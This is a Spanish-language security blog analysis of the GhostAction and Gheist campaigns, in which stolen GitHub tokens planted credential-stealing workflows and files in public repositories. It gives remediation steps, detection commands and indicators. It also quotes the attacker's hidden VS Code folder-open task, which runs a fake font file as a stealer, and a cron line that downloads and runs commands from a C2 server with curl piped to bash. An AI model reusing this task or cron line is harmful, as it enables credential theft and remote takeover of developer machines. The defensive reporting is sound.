Neutron, nuestro motor de IA, obtuvo un 97.1% en el benchmark CyberGym de UC Berkeley. Más información

Análisis a fondo

Análisis a fondo

GhostAction: tokens robados de GitHub alcanzan 23 000 repositorios

Tokens robados de GitHub empujaron 72,026 commits maliciosos a 22,964 repositorios en nueve días; revoque los tokens y busque el cron #ghc2.

Resumen

  • Tokens de GitHub robados y nunca revocados permitieron al operador de GhostAction empujar 72,026 commits maliciosos a 22,964 repositorios públicos entre el 13 y el 21 de octubre de 2026. GitGuardian documentó la ola el 27 de octubre de 2026.
  • La campaña ahora corre fuera de la CI: un archivo de fuente falso y una tarea oculta de VS Code roban credenciales de las máquinas de los desarrolladores, y un cron de cinco minutos mantiene el control después de limpiar el repositorio.
  • GitGuardian no cuantifica los equipos comprometidos en esta ola; 1,792 cuentas que publican están comprometidas y 7,989 de los repositorios alcanzados son víctimas nuevas. La retención de GitHub bloqueó cada ejecución maliciosa de flujo que pudo ver.
  • Revoque los tokens robados, borre los archivos plantados en cada rama sin revertirlos, y busque la entrada #ghc2 del cron en cada máquina y runner que tocó un repositorio afectado. El orden de respuesta está en «¿Qué debo hacer si mis repositorios fueron afectados?».

¿Estoy afectado?

Todos estos son caminos de exposición, y cualquiera de ellos basta para actuar:

  • Una cuenta u organización de GitHub que usted controla recibió commits que no escribió, en la ola del 13 al 26 de octubre de 2026, que añadan alguno de los archivos plantados listados en «¿Cómo compruebo si estuve comprometido?».
  • Una máquina abrió un repositorio afectado en VS Code y permitió tareas automáticas en el espacio de trabajo de confianza con Node.js disponible, porque una tarea oculta ejecutó entonces un script disfrazado de archivo de fuente.
  • Un runner autoalojado tomó trabajo de un repositorio afectado, aunque la familia self-hosted observada por GitGuardian contenía un error de sintaxis.
  • Las cuentas de nube de su organización confían en un repositorio afectado mediante GitHub OpenID Connect, porque una familia de cargas solicita tokens OIDC de GitHub e intenta asumir cada rol IAM que encuentra.
  • Por separado, la campaña Gheist plantó flujos que roban secretos mediante otro lote de tokens robados; sus nombres de rama y de archivo también están en las comprobaciones siguientes.

Los tokens fueron robados antes y nunca revocados, y las mismas cuentas se revenden a otros actores. GitGuardian observó 1,382 de las 1,792 cuentas que publican en la ola previa del 8 de octubre. Para Gheist, Wiz rastreó las fuentes de las credenciales hasta registros de infostealers y tokens expuestos en una compromisión del proyecto Trivy en marzo de 2026.

¿Qué hace el código malicioso?

El operador planta archivos distintos según dónde quiera que el código se ejecute. GitGuardian contó cinco familias de cargas en la ola del 13 al 21 de octubre:

Familia Se ejecuta en Commits Repositorios
Seven workflows Runner alojado por GitHub 33,411 19,153
Font stealer Máquina del desarrollador 30,804 17,667
Security-audit re-point Runner alojado por GitHub 6,988 6,902
Legacy OIDC Runner alojado y AWS 568 418
Self-hosted Runner autoalojado 257 172

Las familias con más commits son seven-workflows y el ladrón de fuentes. La familia seven-workflows empuja audit.yml, build-check.yml, repo-health.yml, lint.yml, ci-check.yml, test-suite.yml y code-review.yml, cada uno en su propio commit con un mensaje inocuo. La carga busca credenciales en el árbol de trabajo y en todo el historial de git, ahora con cuatro patrones de tokens de IA añadidos: sk-oat-, sk-svcacct-, gsk_ y xai-. También clona el wiki del repositorio con el GITHUB_TOKEN del flujo y lo busca. Cuando su servidor es inaccesible, recurre a un gist privado llamado "build cache" con un archivo c.dat.

La familia legacy OIDC revive una plantilla antigua. Solicita un token OIDC de GitHub e intenta asumir cada ARN de rol IAM presente en el entorno, y luego exfiltra las sesiones resultantes. La familia self-hosted usa runs-on: self-hosted y lee los archivos de credenciales de nube y de herramientas de IA del runner, pero GitGuardian encontró un error de sintaxis YAML que le impedía ejecutarse. La familia security-audit re-point realiza 6,988 commits de actualización que dirigen los flujos existentes a un nuevo puerto.

La familia que más importa se ejecuta en las máquinas de los desarrolladores, fuera de cualquier registro de CI. El operador empuja dos archivos en commits separados: public/fonts/fa-solid-400.woff2, que es un script Node.js simple, y un .vscode/tasks.json que define una tarea oculta:

La ejecución automática también requiere Node.js y permiso para ejecutar tareas automáticas en un espacio de trabajo de confianza; clonar o abrir el repositorio no demuestra por sí solo una intrusión.

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
  "isBackground": true,
  "hide": true,
  "presentation": { "reveal": "never", "echo": false, "close": true },
  "runOptions": { "runOn": "folderOpen" }
}

Cuando un desarrollador abre la carpeta en VS Code y confía en el espacio de trabajo, con tareas automáticas permitidas y Node.js instalado, la tarea ejecuta la "fuente". El script lee ~/.aws/credentials, .pypirc, .npmrc, .git-credentials, .netrc, ~/.claude/.credentials.json, ~/.gemini/oauth_creds.json y .kube/config, y recopila claves SSH y variables de entorno coincidentes. Busca en el directorio personal secretos de AWS, Anthropic, GitHub, npm y PyPI, y envía todo al servidor del operador.

¿Cómo sobrevive la persistencia a la limpieza del repositorio?

Tres familias instalan la misma entrada de cron, que mantiene el control de la máquina después de limpiar el repositorio:

*/5 * * * * curl -s -m 10 http://193.32.204[.]199:8080/c2/$(hostname) | bash  #ghc2

Cada cinco minutos, la máquina descarga un script del servidor de comando y control y lo ejecuta, de modo que el operador puede enviar a cada host un código de seguimiento distinto. La lección operativa de GitGuardian cabe en una frase: limpiar el repositorio es la parte fácil, y las credenciales son las que siguen funcionando.

¿Cómo alcanzó la campaña 23 000 repositorios?

La escala vino del robo de credenciales, no de una vulnerabilidad. Los tokens de las 1,792 cuentas que publican fueron robados antes, en gran parte mediante infostealers, y nunca se revocaron. GitGuardian contó 2,875 propietarios de repositorios afectados; 14,906 repositorios ya eran víctimas de la ola del 8 de octubre y 7,989 eran nuevos. Solo el 15 de octubre vio 32,099 commits, y del 14 al 16 de octubre se concentran 67,556 del total.

La campaña también convergió con otro operador. Del 22 al 26 de octubre, 188 commits de GhostAction fueron modificados en el sitio y empujados por la fuerza con loaders de PolinRider, una campaña que GitGuardian atribuye a un actor vinculado a Corea del Norte. El lanzador del ladrón de fuentes de GhostAction es una copia de la técnica de PolinRider: la misma tarea oculta eslint-check y el mismo respaldo de comando shell, con solo el nombre de archivo distinto. La cadena propia de PolinRider es más pesada:

  • Un loader que resuelve la dirección de su servidor de comando desde una transacción Ethereum.
  • Descargas escalonadas de más cargas, decodificadas y ejecutadas con node -e.
  • Un runner persistente en ~/.node_modules/ que sigue descargando código de su servidor.
  • Una etapa final que cosecha inicios de sesión y cookies del navegador y 150 extensiones, incluidos gestores de contraseñas y monederos cripto.

GitGuardian no encontró ningún indicador claro de que los dos operadores sean el mismo grupo.

¿Qué detiene la retención de GitHub?

Desde el 28 de julio de 2026, GitHub retiene las ejecuciones de flujos potencialmente maliciosos en repositorios públicos hasta que un colaborador las aprueba. GitGuardian no encontró ninguna ejecución exitosa de una carga de GhostAction: cada ejecución maliciosa visible fue impedida, y la familia self-hosted llevaba además un error de sintaxis.

La retención tiene tres brechas, y esta campaña vive en las tres:

  • Los repositorios privados y GitHub Enterprise Server no están cubiertos: Wiz observó allí ejecuciones de Gheist completarse, borrarse en menos de un minuto, y los roles de nube de las organizaciones asumirse desde ramas atacantes.
  • El ladrón de fuentes no usa la CI en absoluto. Un archivo que corre en la máquina de un desarrollador mediante VS Code es invisible para un control construido alrededor de ejecuciones de flujos.
  • La retención no puede revocar los tokens robados. Cada ejecución bloqueada igualmente le dice al operador que la cuenta funciona, y 1,382 cuentas ya eran conocidas de la ola del 8 de octubre.

Wiz describió el mismo patrón en la campaña separada Gheist, que desde el 15 de septiembre de 2026 ha plantado más de 13,500 ramas desde más de 850 cuentas. Su flujo sync-check.yml imprime los secretos del repositorio codificados en base32 en su propio registro, luego descarga ese registro por la API de GitHub y borra la ejecución segundos después. Aproximadamente dos tercios de las cuentas implicadas se habían vuelto indisponibles al 24 de octubre, lo que Wiz interpreta como actividad de respuesta.

Las cinco familias de cargas de GhostAction según el número de repositorios alcanzados, con la familia orientada a las máquinas de desarrolladores destacada.
Figura 1: La familia seven-workflows alcanzó más repositorios, pero el ladrón de fuentes tocó casi tantos ejecutándose fuera de la CI en máquinas de desarrolladores. Fuente: GitGuardian, comprobado el 31 de octubre de 2026.

¿Cómo fluye el ataque?

Un token robado empuja archivos plantados a un repositorio; la retención detiene las ejecuciones de flujos, pero la pareja del ladrón de fuentes se ejecuta en la máquina del desarrollador y deja atrás un bucle de control.

flowchart LR A["Token de GitHub robado,
nunca revocado"] --> B["El operador empuja archivos de flujo
y la pareja del ladrón de fuentes"] B --> C["Ejecuciones maliciosas públicas
observadas bloqueadas"] B --> D["El ladrón corre fuera de la CI:
tarea folderOpen de VS Code"] D --> H["Espacio de confianza + tareas
automáticas permitidas + Node.js"] H --> E["El .woff2 falso corre como Node
y lee archivos de credenciales"] E --> F["Los secretos se envían al C2
y se instala el cron #ghc2"] F --> G["Un bucle de control cada cinco minutos
sobrevive a la limpieza del repositorio"]

¿Qué puede hacer un atacante?

Con el ladrón de fuentes en una máquina de desarrollador, el operador lee los mismos archivos que contendría una bóveda de credenciales. Eso incluye credenciales de nube, inicios de sesión de registros y gestores de paquetes, configuración de Kubernetes, claves SSH y credenciales de herramientas de IA, incluidos tokens de Claude, Gemini, OpenAI y Hugging Face. Con las familias de flujos, los objetivos son los secretos del repositorio y de la organización, el wiki, y todo lo alcanzable mediante un rol de nube confiado por OIDC.

El riesgo más profundo es la reutilización del acceso robado. Ambos informes observaron a otros actores trabajando las mismas cuentas: renombrados de repositorios como señuelos de software pirateado en unos 1,461 repositorios, abuso de cómputo gratuito mediante repositorios "Windows RDP Runner", y loaders de PolinRider empujados en 188 commits. Wiz también rastreó víctimas de Gheist empresariales donde el operador recorrió los tokens de varios usuarios en minutos y clonó repositorios privados. Horas más tarde, credenciales de nube de las mismas organizaciones se usaron para enumerar AWS Secrets Manager. Las condiciones son exactamente lo que las credenciales permiten: cualquier repositorio donde el token pueda escribir, y cualquier máquina que después lo abra.

¿Qué debo hacer si mis repositorios fueron afectados?

  1. Borre cada archivo plantado en cada rama, con los nombres de archivo de las comprobaciones siguientes. No revierta los commits: GitGuardian advierte que revertir un commit "Update" restaura la versión maliciosa anterior.
  2. Revoque las credenciales de la cuenta: tokens de acceso personal, autorizaciones de aplicaciones OAuth y claves SSH. GitGuardian observó reinfección tras la limpieza cada vez que se conservaron los tokens.
  3. Rote cada credencial subida al repositorio o su historial, cada secreto de Actions, y cada credencial almacenada en el wiki del repositorio.
  4. En cualquier máquina que abrió un repositorio afectado en VS Code, y en cualquier runner autoalojado, busque la entrada #ghc2 en el crontab y elimínela. Rote luego cada credencial local: nube, registros, herramientas de IA, SSH y Kubernetes.
  5. Busque gists privados llamados "build cache" que contengan un archivo c.dat en la cuenta, y bórrelos.
  6. Si sus flujos se autentican en la nube mediante OIDC, busque en los registros de auditoría de la nube llamadas AssumeRoleWithWebIdentity desde GitHub en repositorios o ramas inesperados. Restrinja las políticas de confianza a repositorios y ramas concretos.
  7. Exija aprobación para los cambios de flujos, y no apruebe ejecuciones sync-check en espera: son el ataque, no un trabajo atascado.

Para Gheist en concreto, Wiz añade: rote cada secreto de repositorio, organización y entorno disponible para un repositorio afectado, porque borrar la ejecución o la rama no deshace la exposición. Trate como comprometido cualquier runner autoalojado que ejecutó una rama ci-sync, junto con su rol de instancia.

¿Cómo compruebo si estuve comprometido?

Busque en los repositorios que controla los nombres de archivo y mensajes de commit de la campaña, en cada rama:

Examine cada rama sin abrirla en un editor. Los comandos siguientes revisan el árbol actual y las referencias locales; obtenga primero todas las ramas remotas desde un entorno limpio. Un nombre coincidente es un indicio para investigar, no una prueba de malware.

# GhostAction planted files and messages (adapted from GitGuardian)
grep -rlE "fa-solid-400\.woff2" .
grep -n "runOn" .vscode/tasks.json 2>/dev/null
ls .github/workflows/ | grep -E "audit|build-check|repo-health|lint|ci-check|test-suite|code-review|maintenance|cache-cleanup|runner-maintenance|cleanup-job|cleanup_cache|github_actions_security|security-audit"

# Gheist branches: ci-sync- followed by six characters
git for-each-ref --format='%(refname)' refs/heads refs/remotes | grep -E '/ci-sync-[0-9a-z]{6}$'

Compruebe las máquinas y runners que tocaron esos repositorios:

crontab -l | grep "ghc2"        # the persistence marker
ls -la ~/.node_modules/         # PolinRider: .npm-ws-runner.js, .npm-ws.json, .npm-ws.pid
ls -la .gdmp_pat .gdmp_patg .gdmp_sweep 2>/dev/null   # Gheist self-hosted job helpers

El punto de exfiltración de las familias GhostAction es http://193.32.204[.]199:8080/?c=<tag>, con etiquetas observadas que incluyen auto_20261013, auto_20261015, reinject, full1, ssh1 y oidcm2. El canal del cron es la misma dirección bajo /c2/<hostname>. Gheist se identifica en los registros de auditoría de GitHub por el agente de usuario gheist y por ejecuciones de flujos en ramas ci-sync-* borradas en menos de un minuto de completarse. Los registros de nube lo revelan mediante asunciones de roles cuyo sujeto incluye una rama ci-sync-. El resolutor blockchain de PolinRider lee la dirección Ethereum 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3, con un servidor de respaldo en 95.135.181[.]151:443.

Dos límites honestos se aplican. Los recuentos de GitGuardian son cotas inferiores, porque solo cubren lo que su fuente observó. Una máquina de desarrollador que ejecutó el ladrón de fuentes no muestra nada en el historial del repositorio: la entrada del cron es el artefacto que importa.

Cronología

  • 2026-09-15: Wiz empieza a rastrear la campaña Gheist que planta flujos sync-check mediante tokens robados.
  • 2026-10-08 a 2026-10-12: La primera ola de octubre de GhostAction empuja security-audit.yml a unos 30,000 repositorios; los primeros flujos corrieron antes de que el bloqueo de GitHub tomara efecto hacia el 9 de octubre.
  • 2026-10-13: La segunda ola comienza, repuntando 6,370 archivos existentes a las 22:58 UTC.
  • 2026-10-14: La familia seven-workflows arranca a las 13:22 UTC, la self-hosted a las 14:11 UTC y el ladrón de fuentes a las 21:39 UTC.
  • 2026-10-15: La campaña alcanza su pico con 32,099 commits en un día.
  • 2026-10-19: El Tool B de Gheist añade un trabajo sync-host autoalojado y el separador de registro LAFA====.
  • 2026-10-20: El flujo OIDC histórico regresa a las 14:16 UTC.
  • 2026-10-21: El último commit de GhostAction cae a las 04:37 UTC.
  • 2026-10-22 a 2026-10-26: Loaders de PolinRider se modifican en 188 commits de GhostAction y se empujan por la fuerza.
  • 2026-10-25: Wiz publica el análisis de Gheist.
  • 2026-10-27: GitGuardian publica el análisis de la escalada de GhostAction.

Preguntas frecuentes

¿Se ejecutó con éxito algún GitHub Action malicioso?

En la ola del 13 al 21 de octubre, GitGuardian no observó ejecuciones maliciosas exitosas en repositorios públicos. GitGuardian encontró impedida cada ejecución de GhostAction que pudo ver, por la retención de aprobación de GitHub, y la familia self-hosted llevaba además un error de sintaxis. La ola del 8 de octubre sí corrió antes del bloqueo, por eso las listas de cuentas se solapan. En Gheist, Wiz confirmó ejecuciones completadas en repositorios privados y en GitHub Enterprise Server, donde la retención no se aplica.

¿GhostAction y Gheist son la misma campaña?

No. Wiz señala que son distintas: Gheist exfiltra secretos mediante la propia API de GitHub con flujos sync-check y ramas ci-sync-, mientras que GhostAction usa otros archivos de flujo y exfiltra a 193.32.204[.]199. Ambas operan con tokens robados, algunas cuentas se solapan en el ecosistema más amplio de credenciales, y ambos informes se citan mutuamente.

¿Por qué la retención de GitHub no protegió del ladrón de fuentes?

La retención está construida alrededor de ejecuciones de flujos en CI. El ladrón de fuentes nunca entra en CI: es un script disfrazado de archivo de fuente, lanzado por una tarea de VS Code que corre al abrir la carpeta. Nada en el camino de control de la CI lo ve, y por eso sus artefactos viven en la máquina del desarrollador, no en el registro del flujo.

¿Qué pasa con las máquinas que ejecutaron el ladrón de fuentes?

Trátelas como comprometidas. El script lee archivos de credenciales y variables de entorno y los envía al servidor del operador, luego instala la entrada cron #ghc2, que descarga y ejecuta código nuevo cada cinco minutos. El orden de remediación de GitGuardian es explícito: retire primero la persistencia, rote luego cada credencial que la máquina podía alcanzar, y no se apoye en que el repositorio esté limpio.

¿Los dueños de los tokens son las únicas víctimas?

No. Quien clonó un repositorio afectado y permitió ejecutar su tarea maliciosa en VS Code también puede estar comprometido. Wiz también observó víctimas de Gheist empresariales donde credenciales de nube de la misma organización enumeraron AWS Secrets Manager horas después. Eso extiende el radio de impacto más allá de las cuentas comprometidas primero.

¿Por qué esta campaña es difícil de detener de forma permanente?

Por los tokens. Se observó reinfección tras la limpieza cada vez que se conservaron, y los operadores siguen consiguiendo más de registros de infostealers y de compromisos previos de la cadena de suministro. La lista de refuerzo de Wiz apunta exactamente a eso:

  • GitHub Apps o tokens de acceso personal de corta duración y permisos granulares, en lugar de tokens duraderos con permisos amplios.
  • Políticas de confianza OIDC limitadas a ramas protegidas.
  • Revisores en entornos con secretos de producción.
  • Runners autoalojados efímeros, sin socket de Docker ni acceso sin restricciones a metadatos.

Revise de qué dependen sus repositorios con Ostorlab

Un inventario de dependencias ayuda a revisar la cadena de suministro. El análisis de composición de software de Ostorlab inventaría las dependencias; los archivos maliciosos, las ramas y la persistencia en los equipos requieren una investigación aparte.

Referencias

  • GitGuardian, GhostAction Crosses Paths With PolinRider: Inside the October Escalation, 27 de octubre de 2026: https://blog.gitguardian.com/ghostaction-x-polinrider/ (comprobado el 31 de octubre de 2026)
  • GitGuardian, The campaign that never stopped: tracking GhostAction from 2025 to 2026, 7 de octubre de 2026: https://blog.gitguardian.com/ghostaction-github-actions-supply-chain-attack-returns/ (comprobado el 31 de octubre de 2026)
  • Wiz, Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles, 25 de octubre de 2026: https://www.wiz.io/blog/gheist-attempted-scaled-abuse-of-stolen-github-tokens-stumbles (comprobado el 31 de octubre de 2026)
  • GitHub changelog, GitHub Actions holds potentially malicious workflows for approval, 28 de julio de 2026: https://github.blog/changelog/2026-07-28-github-actions-holds-potentially-malicious-workflows-for-approval/ (enlazado desde Wiz, comprobado el 31 de octubre de 2026)
  • Análisis de PolinRider por OpenSourceMalware, citado por GitGuardian: https://opensourcemalware.com/blog/ghostaction-copycats-polinrider-by-hiding-a-stealer-in-a-fake-font-file (comprobado el 31 de octubre de 2026)
  • VS Code, automatic task execution: https://code.visualstudio.com/docs/debugtest/tasks#_control-automatic-task-execution